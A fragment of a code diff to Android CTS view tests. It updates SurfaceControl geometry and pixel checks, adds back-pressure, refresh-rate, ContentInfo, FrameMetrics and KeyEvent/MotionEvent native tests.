                 new PixelChecker(PixelColor.RED) { //10000
@@ -656,7 +752,7 @@
 
                         setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
                                 PixelColor.RED);
-                        setGeometry(surfaceControl, 0, 0, 100, 100, -32, -24, 320, 240, 0);
+                        setGeometry(surfaceControl, 0, 0, 100, 100, -32, -24, 50, 50, 0);
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //2500
@@ -677,7 +773,7 @@
 
                         setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
                                 PixelColor.RED);
-                        setGeometry(surfaceControl, 0, 0, 100, 100, 320, 240, 704, 504, 0);
+                        setGeometry(surfaceControl, 0, 0, 100, 100, 50, 50, 110, 105, 0);
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //2500
@@ -700,8 +796,8 @@
                                 PixelColor.RED);
                         setSolidBuffer(surfaceControl2, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
                                 PixelColor.BLUE);
-                        setGeometry(surfaceControl1, 0, 0, 100, 100, 64, 48, 192, 192, 0);
-                        setGeometry(surfaceControl2, 0, 0, 100, 100, 448, 96, 576, 240, 0);
+                        setGeometry(surfaceControl1, 0, 0, 100, 100, 10, 10, 30, 40, 0);
+                        setGeometry(surfaceControl2, 0, 0, 100, 100, 70, 20, 90, 50, 0);
                     }
                 };
         verifyTest(callback,
@@ -730,7 +826,6 @@
                         setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
                                 PixelColor.MAGENTA, PixelColor.GREEN);
-                        setGeometry(surfaceControl, 0, 0, 100, 100, 0, 0, 640, 480, 0);
                     }
                 };
         verifyTest(callback,
@@ -773,7 +868,7 @@
                         setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
                                 PixelColor.MAGENTA, PixelColor.GREEN);
-                        setGeometry(surfaceControl, 10, 10, 90, 90, 0, 0, 640, 480, 0);
+                        setGeometry(surfaceControl, 10, 10, 90, 90, 0, 0, 100, 100, 0);
                     }
                 };
         verifyTest(callback,
@@ -817,7 +912,7 @@
                         setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
                                 PixelColor.MAGENTA, PixelColor.GREEN);
-                        setGeometry(surfaceControl, 60, 10, 90, 90, 0, 0, 640, 480, 0);
+                        setGeometry(surfaceControl, 60, 10, 90, 90, 0, 0, 100, 100, 0);
                     }
                 },
                 new PixelChecker(PixelColor.MAGENTA) { //5000
@@ -838,35 +933,35 @@
                         setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
                                 PixelColor.MAGENTA, PixelColor.GREEN);
-                        setGeometry(surfaceControl, -50, -50, 150, 150, 0, 0, 640, 480, 0);
+                        setGeometry(surfaceControl, -50, -50, 150, 150, 0, 0, 100, 100, 0);
                     }
                 };
         verifyTest(callback,
-                new PixelChecker(PixelColor.RED) { //2500
+                new PixelChecker(PixelColor.RED) { //1111
                     @Override
                     public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                        return pixelCount > 1000 && pixelCount < 1250;
                     }
                 });
         verifyTest(callback,
-                new PixelChecker(PixelColor.BLUE) { //2500
+                new PixelChecker(PixelColor.BLUE) { //1111
                     @Override
                     public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                        return pixelCount > 1000 && pixelCount < 1250;
                     }
                 });
         verifyTest(callback,
-                new PixelChecker(PixelColor.MAGENTA) { //2500
+                new PixelChecker(PixelColor.MAGENTA) { //1111
                     @Override
                     public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                        return pixelCount > 1000 && pixelCount < 1250;
                     }
                 });
         verifyTest(callback,
-                new PixelChecker(PixelColor.GREEN) { //2500
+                new PixelChecker(PixelColor.GREEN) { //1111
                     @Override
                     public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                        return pixelCount > 1000 && pixelCount < 1250;
                     }
                 });
     }
@@ -882,7 +977,7 @@
                         setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
                                 PixelColor.MAGENTA, PixelColor.GREEN);
-                        setGeometry(surfaceControl, -50, -50, 50, 50, 0, 0, 640, 480, 0);
+                        setGeometry(surfaceControl, -50, -50, 50, 50, 0, 0, 100, 100, 0);
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //10000
@@ -904,7 +999,7 @@
                         setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
                                 PixelColor.MAGENTA, PixelColor.GREEN);
-                        setGeometry(surfaceControl, 60, 10, 90, 90, 0, 0, 640, 480,
+                        setGeometry(surfaceControl, 60, 10, 90, 90, 0, 0, 100, 100,
                                     /*NATIVE_WINDOW_TRANSFORM_FLIP_H*/ 1);
                     }
                 },
@@ -927,7 +1022,7 @@
                         setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
                                 PixelColor.MAGENTA, PixelColor.GREEN);
-                        setGeometry(surfaceControl, 60, 10, 90, 90, 0, 0, 640, 480,
+                        setGeometry(surfaceControl, 60, 10, 90, 90, 0, 0, 100, 100,
                                     /*NATIVE_WINDOW_TRANSFORM_ROT_180*/ 3);
                     }
                 },
@@ -1301,8 +1396,8 @@
                         long parentSurfaceControl2 = createFromWindow(holder.getSurface());
                         long childSurfaceControl = create(parentSurfaceControl1);
 
-                        setGeometry(parentSurfaceControl1, 0, 0, 100, 100, 0, 0, 160, 480, 0);
-                        setGeometry(parentSurfaceControl2, 0, 0, 100, 100, 160, 0, 640, 480, 0);
+                        setGeometry(parentSurfaceControl1, 0, 0, 100, 100, 0, 0, 25, 100, 0);
+                        setGeometry(parentSurfaceControl2, 0, 0, 100, 100, 25, 0, 100, 100, 0);
 
                         setSolidBuffer(childSurfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED);
@@ -1549,6 +1644,77 @@
             });
     }
 
+    @Test
+    public void testSurfaceTransaction_setEnableBackPressure() throws Throwable {
+        int[] colors = new int[] {PixelColor.RED, PixelColor.GREEN, PixelColor.BLUE};
+        BasicSurfaceHolderCallback callback = new BasicSurfaceHolderCallback() {
+            @Override
+            public void surfaceCreated(SurfaceHolder holder) {
+                long surfaceControl = createFromWindow(holder.getSurface());
+                setEnableBackPressure(surfaceControl, true);
+                long[] buffers = new long[6];
+                for (int i = 0; i < buffers.length; i++) {
+                    buffers[i] = setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
+                            DEFAULT_LAYOUT_HEIGHT, colors[i % colors.length]);
+                }
+                addBufferCycler(surfaceControl, buffers);
+            }
+        };
+
+        MultiFramePixelChecker pixelChecker = new MultiFramePixelChecker(colors) {
+            @Override
+            public boolean checkPixels(int pixelCount, int width, int height) {
+                return pixelCount > 9000 && pixelCount < 11000;
+            }
+        };
+
+        mActivity.verifyTest(new SurfaceControlTestCase(callback, null /* animation factory */,
+                        pixelChecker,
+                        DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
+                        DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
+                        true /* checkSurfaceViewBoundsOnly */),
+                mName);
+    }
+
+    @Test
+    public void testSurfaceTransaction_defaultBackPressureDisabled() throws Throwable {
+        int[] colors = new int[] {PixelColor.RED, PixelColor.GREEN, PixelColor.BLUE};
+        BasicSurfaceHolderCallback callback = new BasicSurfaceHolderCallback() {
+            @Override
+            public void surfaceCreated(SurfaceHolder holder) {
+                long surfaceControl = createFromWindow(holder.getSurface());
+                // back pressure is disabled by default
+                long[] buffers = new long[6];
+                for (int i = 0; i < buffers.length; i++) {
+                    buffers[i] = setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
+                            DEFAULT_LAYOUT_HEIGHT, colors[i % colors.length]);
+                }
+                addBufferCycler(surfaceControl, buffers);
+            }
+        };
+
+        MultiFramePixelChecker pixelChecker = new MultiFramePixelChecker(colors) {
+            @Override
+            public boolean checkPixels(int pixelCount, int width, int height) {
+                return pixelCount > 9000 && pixelCount < 11000;
+            }
+        };
+
+        CapturedActivity.TestResult result = mActivity.runTest(new SurfaceControlTestCase(callback,
+                        null /* animation factory */,
+                        pixelChecker,
+                        DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
+                        DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
+                        true /* checkSurfaceViewBoundsOnly */));
+
+        assertTrue(result.passFrames > 0);
+
+        // With back pressure disabled, the default config, we expect at least one or more frames to
+        // fail since we expect at least one buffer to be dropped.
+        assertTrue(result.failFrames > 0);
+
+    }
+
     ///////////////////////////////////////////////////////////////////////////
     // Native function prototypes
     ///////////////////////////////////////////////////////////////////////////
@@ -1558,9 +1724,12 @@
     private static native void nSurfaceTransaction_apply(long surfaceTransaction);
     private static native long nSurfaceControl_createFromWindow(Surface surface);
     private static native long nSurfaceControl_create(long surfaceControl);
+    private static native void nSurfaceControl_acquire(long surfaceControl);
     private static native void nSurfaceControl_release(long surfaceControl);
     private static native long nSurfaceTransaction_setSolidBuffer(
             long surfaceControl, long surfaceTransaction, int width, int height, int color);
+    private static native void nSurfaceTransaction_setBuffer(long surfaceControl,
+            long surfaceTransaction, long buffer);
     private static native long nSurfaceTransaction_setQuadrantBuffer(long surfaceControl,
             long surfaceTransaction, int width, int height, int colorTopLeft, int colorTopRight,
             int colorBottomRight, int colorBottomLeft);
@@ -1572,6 +1741,12 @@
     private static native void nSurfaceTransaction_setGeometry(
             long surfaceControl, long surfaceTransaction, int srcRight, int srcTop, int srcLeft,
             int srcBottom, int dstRight, int dstTop, int dstLeft, int dstBottom, int transform);
+    private static native void nSurfaceTransaction_setSourceRect(long surfaceControl,
+            long surfaceTransaction, int srcRight, int srcTop, int srcLeft, int srcBottom);
+    private static native void nSurfaceTransaction_setPosition(long surfaceControl,
+            long surfaceTransaction, int dstRight, int dstTop, int dstLeft, int dstBottom);
+    private static native void nSurfaceTransaction_setTransform(
+            long surfaceControl, long surfaceTransaction, int transform);
     private static native void nSurfaceTransaction_setDamageRegion(
             long surfaceControl, long surfaceTransaction, int right, int top, int left, int bottom);
     private static native void nSurfaceTransaction_setZOrder(
@@ -1587,4 +1762,8 @@
             long newParentSurfaceControl, long surfaceTransaction);
     private static native void nSurfaceTransaction_setColor(long surfaceControl,
             long surfaceTransaction, float r, float g, float b, float alpha);
+    private static native void nSurfaceTransaction_setEnableBackPressure(long surfaceControl,
+            long surfaceTransaction, boolean enableBackPressure);
+    private static native void nSurfaceTransaction_setOnCompleteCallback(long surfaceTransaction,
+            TransactionCompleteListener listener);
 }
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
index a8e0134..0651e69 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
@@ -16,21 +16,32 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.Manifest;
 import android.content.Context;
 import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.Looper;
 import android.view.Display;
+import android.view.Display.Mode;
+import android.view.Window;
+import android.view.WindowManager;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
 import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -43,6 +54,18 @@
 public class ChoreographerNativeTest {
     private long mChoreographerPtr;
 
+    @Rule
+    public ActivityTestRule<CtsActivity> mTestActivityRule =
+            new ActivityTestRule<>(
+                CtsActivity.class);
+
+    @Rule
+    public final AdoptShellPermissionsRule mShellPermissionsRule =
+            new AdoptShellPermissionsRule(
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
+                    Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
+
     private static native long nativeGetChoreographer();
     private static native boolean nativePrepareChoreographerTests(long ptr, long[] refreshPeriods);
     private static native void nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks(long ptr);
@@ -61,9 +84,12 @@
     private static native void nativeTestAttemptToAddRefreshRateCallbackTwiceDoesNotAddTwice(
             long ptr);
     private static native void nativeTestRefreshRateCallbackMixedWithFrameCallbacks(long ptr);
+    private native void nativeTestRefreshRateCallbacksAreSyncedWithDisplayManager();
 
     private Context mContext;
     private DisplayManager mDisplayManager;
+    private Display mDefaultDisplay;
+    private long[] mSupportedPeriods;
 
     static {
         System.loadLibrary("ctsview_jni");
@@ -80,14 +106,14 @@
                 .findFirst();
 
         assertTrue(defaultDisplayOpt.isPresent());
-        Display defaultDisplay = defaultDisplayOpt.get();
+        mDefaultDisplay = defaultDisplayOpt.get();
 
-        long[] supportedPeriods = Arrays.stream(defaultDisplay.getSupportedModes())
+        mSupportedPeriods = Arrays.stream(mDefaultDisplay.getSupportedModes())
                 .mapToLong(mode -> (long) (Duration.ofSeconds(1).toNanos() / mode.getRefreshRate()))
                 .toArray();
 
         mChoreographerPtr = nativeGetChoreographer();
-        if (!nativePrepareChoreographerTests(mChoreographerPtr, supportedPeriods)) {
+        if (!nativePrepareChoreographerTests(mChoreographerPtr, mSupportedPeriods)) {
             fail("Failed to setup choreographer tests");
         }
     }
@@ -159,4 +185,69 @@
         nativeTestRefreshRateCallbackMixedWithFrameCallbacks(mChoreographerPtr);
     }
 
+    @SmallTest
+    @Test
+    public void testRefreshRateCallbacksIsSyncedWithDisplayManager() {
+        if (mSupportedPeriods.length <= 1) {
+            return;
+        }
+        int initialMatchContentFrameRate = 0;
+        try {
+
+            // Set-up just for this particular test:
+            // We must force the screen to be on for this window, and DisplayManager must be
+            // configured to always respect the app-requested refresh rate.
+            Handler handler = new Handler(Looper.getMainLooper());
+            handler.post(() -> {
+                mTestActivityRule.getActivity().getWindow().addFlags(
+                        WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
+                                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
+                                | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+            });
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+            initialMatchContentFrameRate = toSwitchingType(
+                    mDisplayManager.getMatchContentFrameRateUserPreference());
+            mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+            nativeTestRefreshRateCallbacksAreSyncedWithDisplayManager();
+        } finally {
+            mDisplayManager.setRefreshRateSwitchingType(initialMatchContentFrameRate);
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        }
+    }
+
+    // Called by jni in a refresh rate callback
+    private void checkRefreshRateIsCurrentAndSwitch(int refreshRate) {
+        assertEquals(Math.round(mDefaultDisplay.getRefreshRate()), refreshRate);
+
+        Optional<Mode> nextMode = Arrays.stream(mDefaultDisplay.getSupportedModes())
+                .sorted((left, right) ->
+                        Float.compare(right.getRefreshRate(), left.getRefreshRate()))
+                .filter(mode ->  Math.round(mode.getRefreshRate()) != refreshRate)
+                .findFirst();
+
+        assertTrue(nextMode.isPresent());
+
+        Mode mode = nextMode.get();
+        Handler handler = new Handler(Looper.getMainLooper());
+        handler.post(() -> {
+            Window window = mTestActivityRule.getActivity().getWindow();
+            WindowManager.LayoutParams params = window.getAttributes();
+            params.preferredDisplayModeId = mode.getModeId();
+            window.setAttributes(params);
+        });
+    }
+
+    private int toSwitchingType(int matchContentFrameRateUserPreference) {
+        switch (matchContentFrameRateUserPreference) {
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER:
+                return DisplayManager.SWITCHING_TYPE_NONE;
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY:
+                return DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS;
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS:
+                return DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS;
+            default:
+                return -1;
+        }
+    }
+
 }
diff --git a/tests/tests/view/src/android/view/cts/ContentInfoTest.java b/tests/tests/view/src/android/view/cts/ContentInfoTest.java
new file mode 100644
index 0000000..8806d5d
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/ContentInfoTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static android.view.ContentInfo.SOURCE_APP;
+import static android.view.ContentInfo.SOURCE_CLIPBOARD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ClipData;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Pair;
+import android.view.ContentInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link ContentInfo}.
+ *
+ * <p>To run: {@code atest CtsViewTestCases:ContentInfoTest}
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ContentInfoTest {
+
+    @Test
+    public void testPartition_multipleItems() throws Exception {
+        Uri sampleUri = Uri.parse("content://com.example/path");
+        ClipData clip = ClipData.newPlainText("", "Hello");
+        clip.addItem(new ClipData.Item("Hi", "<b>Salut</b>"));
+        clip.addItem(new ClipData.Item(sampleUri));
+        ContentInfo payload = new ContentInfo.Builder(clip, SOURCE_CLIPBOARD)
+                .setFlags(ContentInfo.FLAG_CONVERT_TO_PLAIN_TEXT)
+                .setLinkUri(Uri.parse("http://example.com"))
+                .setExtras(new Bundle())
+                .build();
+
+        // Test splitting when some items match and some don't.
+        Pair<ContentInfo, ContentInfo> split;
+        split = payload.partition(item -> item.getUri() != null);
+        assertThat(split.first.getClip().getItemCount()).isEqualTo(1);
+        assertThat(split.second.getClip().getItemCount()).isEqualTo(2);
+        assertThat(split.first.getClip().getItemAt(0).getUri()).isEqualTo(sampleUri);
+        assertThat(split.first.getClip().getDescription()).isNotSameInstanceAs(
+                payload.getClip().getDescription());
+        assertThat(split.second.getClip().getDescription()).isNotSameInstanceAs(
+                payload.getClip().getDescription());
+        assertThat(split.first.getSource()).isEqualTo(SOURCE_CLIPBOARD);
+        assertThat(split.first.getLinkUri()).isNotNull();
+        assertThat(split.first.getExtras()).isNotNull();
+        assertThat(split.second.getSource()).isEqualTo(SOURCE_CLIPBOARD);
+        assertThat(split.second.getLinkUri()).isNotNull();
+        assertThat(split.second.getExtras()).isNotNull();
+
+        // Test splitting when none of the items match.
+        split = payload.partition(item -> false);
+        assertThat(split.first).isNull();
+        assertThat(split.second).isSameInstanceAs(payload);
+
+        // Test splitting when all of the items match.
+        split = payload.partition(item -> true);
+        assertThat(split.first).isSameInstanceAs(payload);
+        assertThat(split.second).isNull();
+    }
+
+    @Test
+    public void testPartition_singleItem() throws Exception {
+        ClipData clip = ClipData.newPlainText("", "Hello");
+        ContentInfo payload = new ContentInfo.Builder(clip, SOURCE_CLIPBOARD)
+                .setFlags(ContentInfo.FLAG_CONVERT_TO_PLAIN_TEXT)
+                .setLinkUri(Uri.parse("http://example.com"))
+                .setExtras(new Bundle())
+                .build();
+
+        Pair<ContentInfo, ContentInfo> split;
+        split = payload.partition(item -> false);
+        assertThat(split.first).isNull();
+        assertThat(split.second).isSameInstanceAs(payload);
+
+        split = payload.partition(item -> true);
+        assertThat(split.first).isSameInstanceAs(payload);
+        assertThat(split.second).isNull();
+    }
+
+    @Test
+    public void testBuilder_copy() throws Exception {
+        ClipData clip = ClipData.newPlainText("", "Hello");
+        ContentInfo original = new ContentInfo.Builder(clip, SOURCE_CLIPBOARD)
+                .setFlags(ContentInfo.FLAG_CONVERT_TO_PLAIN_TEXT)
+                .setLinkUri(Uri.parse("http://example.com"))
+                .setExtras(new Bundle())
+                .build();
+
+        // Verify that that calling the builder with a ContentInfo instance creates a shallow copy.
+        ContentInfo copy = new ContentInfo.Builder(original).build();
+        assertThat(copy).isNotSameInstanceAs(original);
+        assertThat(copy.getClip()).isSameInstanceAs(original.getClip());
+        assertThat(copy.getSource()).isEqualTo(original.getSource());
+        assertThat(copy.getFlags()).isEqualTo(original.getFlags());
+        assertThat(copy.getLinkUri()).isSameInstanceAs(original.getLinkUri());
+        assertThat(copy.getExtras()).isSameInstanceAs(original.getExtras());
+    }
+
+    @Test
+    public void testBuilder_copyAndUpdate() throws Exception {
+        ClipData clip1 = ClipData.newPlainText("", "Hello");
+        ContentInfo original = new ContentInfo.Builder(clip1, SOURCE_CLIPBOARD)
+                .setFlags(ContentInfo.FLAG_CONVERT_TO_PLAIN_TEXT)
+                .setLinkUri(Uri.parse("http://example.com"))
+                .setExtras(new Bundle())
+                .build();
+
+        // Verify that calling setters after initializing the builder with a ContentInfo instance
+        // updates the fields.
+        ClipData clip2 = ClipData.newPlainText("", "Bye");
+        ContentInfo copy = new ContentInfo.Builder(original)
+                .setClip(clip2)
+                .setSource(SOURCE_APP)
+                .setFlags(0)
+                .setLinkUri(null)
+                .setExtras(null)
+                .build();
+        assertThat(copy.getClip().getItemAt(0).getText()).isEqualTo("Bye");
+        assertThat(copy.getSource()).isEqualTo(SOURCE_APP);
+        assertThat(copy.getFlags()).isEqualTo(0);
+        assertThat(copy.getLinkUri()).isEqualTo(null);
+        assertThat(copy.getExtras()).isEqualTo(null);
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
index 1d741aa..c6476bf 100644
--- a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
@@ -175,28 +175,46 @@
     }
 
     private void callGetMetric(FrameMetrics frameMetrics) {
-        // The return values for non-boolean metrics do not have expected values. Here we
-        // are verifying that calling getMetrics does not crash
-        frameMetrics.getMetric(FrameMetrics.UNKNOWN_DELAY_DURATION);
-        frameMetrics.getMetric(FrameMetrics.INPUT_HANDLING_DURATION);
-        frameMetrics.getMetric(FrameMetrics.ANIMATION_DURATION);
-        frameMetrics.getMetric(FrameMetrics.LAYOUT_MEASURE_DURATION);
-        frameMetrics.getMetric(FrameMetrics.DRAW_DURATION);
-        frameMetrics.getMetric(FrameMetrics.SYNC_DURATION);
-        frameMetrics.getMetric(FrameMetrics.COMMAND_ISSUE_DURATION);
-        frameMetrics.getMetric(FrameMetrics.SWAP_BUFFERS_DURATION);
-        frameMetrics.getMetric(FrameMetrics.TOTAL_DURATION);
 
         // Perform basic checks on timestamp values.
+        long unknownDelay = frameMetrics.getMetric(FrameMetrics.UNKNOWN_DELAY_DURATION);
+        long input = frameMetrics.getMetric(FrameMetrics.INPUT_HANDLING_DURATION);
+        long animation = frameMetrics.getMetric(FrameMetrics.ANIMATION_DURATION);
+        long layoutMeasure = frameMetrics.getMetric(FrameMetrics.LAYOUT_MEASURE_DURATION);
+        long draw = frameMetrics.getMetric(FrameMetrics.DRAW_DURATION);
+        long sync = frameMetrics.getMetric(FrameMetrics.SYNC_DURATION);
+        long commandIssue = frameMetrics.getMetric(FrameMetrics.COMMAND_ISSUE_DURATION);
+        long swapBuffers = frameMetrics.getMetric(FrameMetrics.SWAP_BUFFERS_DURATION);
+        long gpuDuration = frameMetrics.getMetric(FrameMetrics.GPU_DURATION);
+        long deadline = frameMetrics.getMetric(FrameMetrics.DEADLINE);
+        long totalDuration = frameMetrics.getMetric(FrameMetrics.TOTAL_DURATION);
         long intended_vsync = frameMetrics.getMetric(FrameMetrics.INTENDED_VSYNC_TIMESTAMP);
         long vsync = frameMetrics.getMetric(FrameMetrics.VSYNC_TIMESTAMP);
-        long now = System.nanoTime();
+
+        assertTrue(unknownDelay > 0);
+        assertTrue(input > 0);
+        assertTrue(animation > 0);
+        assertTrue(layoutMeasure > 0);
+        assertTrue(draw > 0);
+        assertTrue(sync > 0);
+        assertTrue(commandIssue > 0);
+        assertTrue(swapBuffers > 0);
         assertTrue(intended_vsync > 0);
         assertTrue(vsync > 0);
+        assertTrue(gpuDuration > 0);
+        assertTrue(totalDuration > 0);
+        assertTrue(deadline > 0);
+
+        long now = System.nanoTime();
         assertTrue(intended_vsync < now);
         assertTrue(vsync < now);
         assertTrue(vsync >= intended_vsync);
 
+        // swapBuffers and gpuDuration may happen in parallel, so instead of counting both we need
+        // to take the longer of the two.
+        assertTrue(totalDuration >= unknownDelay + input + animation + layoutMeasure + draw + sync
+                + commandIssue + Math.max(gpuDuration, swapBuffers));
+
         // This is the only boolean metric so far
         final long firstDrawFrameMetric = frameMetrics.getMetric(FrameMetrics.FIRST_DRAW_FRAME);
         assertTrue("First draw frame metric should be boolean but is " + firstDrawFrameMetric,
diff --git a/tests/tests/view/src/android/view/cts/KeyEventTest.java b/tests/tests/view/src/android/view/cts/KeyEventTest.java
index 2f7e1a5..516b3e1 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventTest.java
@@ -59,6 +59,12 @@
     private long mDownTime;
     private long mEventTime;
 
+    private static native void nativeKeyEventTest(KeyEvent event);
+
+    static {
+        System.loadLibrary("ctsview_jni");
+    }
+
     @Before
     public void setup() {
         mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
@@ -586,6 +592,23 @@
     }
 
     @Test
+    public void testIsMediaSessionKey() {
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_PLAY));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_PAUSE));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MUTE));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_HEADSETHOOK));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_STOP));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_NEXT));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_PREVIOUS));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_REWIND));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_RECORD));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD));
+
+        assertFalse(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_0));
+    }
+
+    @Test
     public void testGetMatch() {
         // Our default key event is down + 0, so we expect getMatch to return our '0' character
         assertEquals('0', mKeyEvent.getMatch(new char[] { '0', '1', '2' }));
@@ -795,6 +818,13 @@
                 KeyEvent.keyCodeFromString(Integer.toString(KeyEvent.LAST_KEYCODE + 1)));
     }
 
+    @Test
+    public void testNativeConverter() {
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_A,
+                1, 0, KeyCharacterMap.VIRTUAL_KEYBOARD, 0, 0, InputDevice.SOURCE_TOUCHSCREEN);
+        nativeKeyEventTest(mKeyEvent);
+    }
+
     // Parcel a KeyEvent, then create a new KeyEvent from this parcel. Return the new KeyEvent
     private KeyEvent parcelUnparcel(KeyEvent keyEvent) {
         Parcel parcel = Parcel.obtain();
diff --git a/tests/tests/view/src/android/view/cts/MotionEventTest.java b/tests/tests/view/src/android/view/cts/MotionEventTest.java
index 14ccf8b..79a5d5f 100644
--- a/tests/tests/view/src/android/view/cts/MotionEventTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEventTest.java
@@ -72,6 +72,12 @@
     private static final float DELTA               = 0.01f;
     private static final float RAW_COORD_TOLERANCE = 0.001f;
 
+    private static native void nativeMotionEventTest(MotionEvent event);
+
+    static {
+        System.loadLibrary("ctsview_jni");
+    }
+
     @Before
     public void setup() {
         mDownTime = SystemClock.uptimeMillis();
